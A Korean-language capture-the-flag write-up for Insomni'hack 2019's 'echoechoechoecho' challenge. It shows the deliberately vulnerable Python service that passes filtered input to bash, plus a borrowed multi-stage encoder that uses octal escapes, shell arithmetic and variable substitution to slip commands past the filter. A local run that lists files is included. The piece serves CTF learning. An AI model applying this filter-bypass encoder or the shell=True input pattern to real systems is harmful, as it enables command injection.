[Insomni'hack 2019] echoechoechoecho Write-up

2019-02-09

Description

Echo echo echo echo, good luck

nc 35.246.181.187 1337

문제

문제에 접속해보면 echo라는 대문짝만한 ASCII-ART 글자와 Hi, what would you like to echo today? (make sure to try 'thisfile')라는 글자를 볼 수 있다. thisfile을 입력하면 소스코드를 보여준다. 문제를 다시 풀 때에는 서버가 닫혀있어서 Docker를 이용해서 임의의 가상환경을 구성하였으며, p4-team write-up을 참고하였다.

#!/usr/bin/env python3

from os import close
from random import choice
import re
from signal import alarm
from subprocess import check_output
from termcolor import colored

alarm(10)

colors = ["red","blue","green","yellow","magenta","cyan","white"]
# thanks http://patorjk.com/software/taag/#p=display&h=0&f=Crazy&t=echo
banner = """
                            _..._                 .-'''-.
                         .-'_..._''.             '   _    \\
       __.....__       .' .'      '.\  .       /   /` '.   \\
   .-''         '.    / .'           .'|      .   |     \  '
  /     .-''"'-.  `. . '            <  |      |   '      |  '
 /     /________\   \| |             | |      \    \     / /
 |                  || |             | | .'''-.`.   ` ..' /
 \    .-------------'. '             | |/.'''. \  '-...-'`
  \    '-.____...---. \ '.          .|  /    | |
   `.             .'   '. `._____.-'/| |     | |
     `''-...... -'       `-.______ / | |     | |
                                  `  | '.    | '.
                                     '---'   '---'
"""

def bye(s=""):
    print(s)
    print("bye")
    exit()

def check_input(payload):
    if payload == 'thisfile':
        bye(open("/bin/shell").read())

    if not all(ord(c) < 128 for c in payload):
        bye("ERROR ascii only pls")

    if re.search(r'[^();+$\\= \']', payload.replace("echo", "")):
        bye("ERROR invalid characters")

    # real echolords probably wont need more special characters than this
    if payload.count("+") > 1 or \
            payload.count("'") > 1 or \
            payload.count(")") > 1 or \
            payload.count("(") > 1 or \
            payload.count("=") > 2 or \
            payload.count(";") > 3 or \
            payload.count(" ") > 30:
        bye("ERROR Too many special chars.")

    return payload


print(colored(banner, choice(colors)))
print("Hi, what would you like to echo today? (make sure to try 'thisfile')")
payload = check_input(input())


print("And how often would you like me to echo that?")
count = max(min(int(input()), 10), 0)

payload += "|bash"*count

close(0)
result = check_output(payload, shell=True, executable="/bin/bash")
bye(result.decode())

크게 중요한 부분은 check_input 부분과 payload += "|bash"*count이다. 먼저 문자열을 입력하면 check_input으로 필터링을 거친 뒤, 뒤이어 입력하는 count (0~10)만큼 |bash를 덧붙여주는 식이다. check_input부분을 분석 해 보면 사용 가능한 문자가 ^, (, ), ;, +, $, \, =, 공백, '의 특수문자 리스트와 echo 라는 문자열로 제한되어 있음을 볼 수 있다. 심지어 몇가지 특수문자의 경우에는 사용 횟수 제한도 있다. 이것들만 가지고 필터링을 우회하여 원하는 명령을 실행시켜야 한다.

Stage 1 - 원하는 명령 실행하기

어떤 명령을 실행시키기 위해서, 우리가 사용할 수 있는 특수문자들을 조합 해 본다. 예를 들어 ls 명령어를 실행시킨다고 가정했을 때, 다음과 같이 입력할 수 있다.

echo $'\154\163' |bash

위와같이 입력했을 때 echo 명령어에 의해서 ls가 출력되고, 이는 파이프 라인을 통해서 bash 명령어의 입력으로 들어가 ls명령어를 실행시킨다. 그럼 이제 우리는 1) 임의의 숫자를 구하기, 2) 특수문자 사용 횟수 제한 우회하기의 두가지 문제를 해결해야 한다.

Stage 2 - 임의의 숫자 구하기

임의의 숫자를 구하는 것은 단순하다. $$는 현재 실행되고 있는 프로세스의 pid를 뜻한다. 중요한건 그게 아니라, shell 에서의 산술 연산을 통해서 우리가 원하는 임의의 숫자를 구할 수 있다는 것이다. 먼저 1을 표현하기 위해서는 다음과 같이 하면 된다.

$(($$==$$))

그럼 이제 이 결과를 임의의 변수에 넣어본다. 사실 사용할 수 있는 변수명이 echo뿐이다..

echo=$(($$==$$))

이제 $echo의 값은 1이다. 그럼 이걸 토대로 2를 표현 해 보자.

echoecho=$(($echo+$echo))

더 간단해졌다. $echoecho의 값이 2가 된다. 이를 토대로 모든 숫자를 연산할 수 있게 된다.

Stage 3 ~ 8 - 특수문자 사용 횟수 제한 우회하기

마지막 남은 단계다. Stage 1, Stage 2에서 나온 방법대로만 하면 인코딩하는게 어렵지 않은데, 하필이면 특수문자 사용 횟수가 제한되어 있어서 문제를 까다롭게 만든다. 하지만 Write-up을 확인해보니 크게 어렵지 않았다는 것을 알 수 있었다. 예를 들어 (의 사용 횟수는 1회로 제한되어 있는데, 이를 우회하기 위해서는 다음과 같이 할 수 있다.

echo=\(; echo $echo$echo (count:0)

해당 출력으로는 ((가 되시겠다. 대충 감이 오는가? 다행스럽게도 escape character 역할을 하고 있는 백슬래쉬(\)가 횟수 제한이 없어서 수월하게 진행할 수 있다. 횟수 필터링에 공백은 딱히 우회하지 않아도 된다. 그리고 =;는 모든 우회 단계에서 공통적으로 사용하므로 마지막에 인코딩해야 하고, 특히 =는 맨 마지막에 해야 좀 빡빡한 횟수제한에 안걸리는거 주의해야 한다. 그 외에는 어떤순서로 인코딩해도 상관이 없다. 이에 따른 최종 페이로드는 아래와 같다.

import string
import re
import sys

cmd = sys.argv[1]

# Encode using $'\123\234'
def stage1(cmd):
    return "echo $'" + "".join("\\%o" % ord(d) for d in cmd) + "'"

def escape(cmd):
    def enc(c):
        if c in "\\$()';":
            return "\\" + c
        return c

    return "".join(enc(c) for c in cmd)

# Encode digits using bash arithmetics.
def stage2(cmd):
    cmd = escape(cmd)
    def enc(c):
        if c not in string.digits:
            return c

        if c == "0":
            return "$(($$==$echo))"
        else:
            return "$((" + "+".join("$echo" for _ in range(int(c))) + "))"

    cmd = "".join(enc(c) for c in cmd)
    return "echo=$(($$==$$)); echo " + cmd


# Encode '
def stage3(cmd):
    cmd = escape(cmd)
    return "echo=\\'; echo " + cmd.replace("\\'", "$echo")

# Encode (
def stage4(cmd):
    cmd = escape(cmd)
    return "echo=\\(; echo " + cmd.replace("\\(", "$echo")

# Encode )
def stage5(cmd):
    cmd = escape(cmd)
    return "echo=\\); echo " + cmd.replace("\\)", "$echo")

# Encode +
def stage6(cmd):
    cmd = escape(cmd)
    return "echo=\\+; echo " + cmd.replace("+", "$echo")

# Encode ;
def stage7(cmd):
    cmd = escape(cmd)
    return "echo=\\;; echo " + cmd.replace("\\;", "$echo")

# Encode =
def stage8(cmd):
    cmd = escape(cmd)
    return "echo=\\=; echo " + cmd.replace("=", "$echo")



p = cmd
p = stage1(p)
p = stage2(p)
p = stage3(p)
p = stage4(p)
p = stage5(p)
p = stage6(p)
p = stage7(p)
p = stage8(p)

for c in set(p):
    print >>sys.stderr, c, p.count(c)
print p

사실 직접 짜보려고 했는데 CTFTime에서 5.0 받은 롸업이 너무 코드를 잘짰다… 더이상 손볼구석이 없다. 이 코드를 보면서 나도 연습을 좀 해보려고 한다.

아무튼 해당 코드를 적절히 돌려서 나온 결과물을 투척하고 count를 8로 주면 문제가 해결된다.

[+] Starting local process './serve.sh': pid 23257
[*] Switching to interactive mode

And how often would you like me to echo that?
$ 8
Dockerfile
requirements.txt
service.py

bye
[*] Got EOF while reading in interactive

사실 본 문제에서는 다른 명령어도 써야 하는데, 이미 인코더를 만들었으므로 다른 명령어도 인코딩하는게 어렵지 않다. 다음엔 직접 코드 짜는 연습도 해봐야겠다.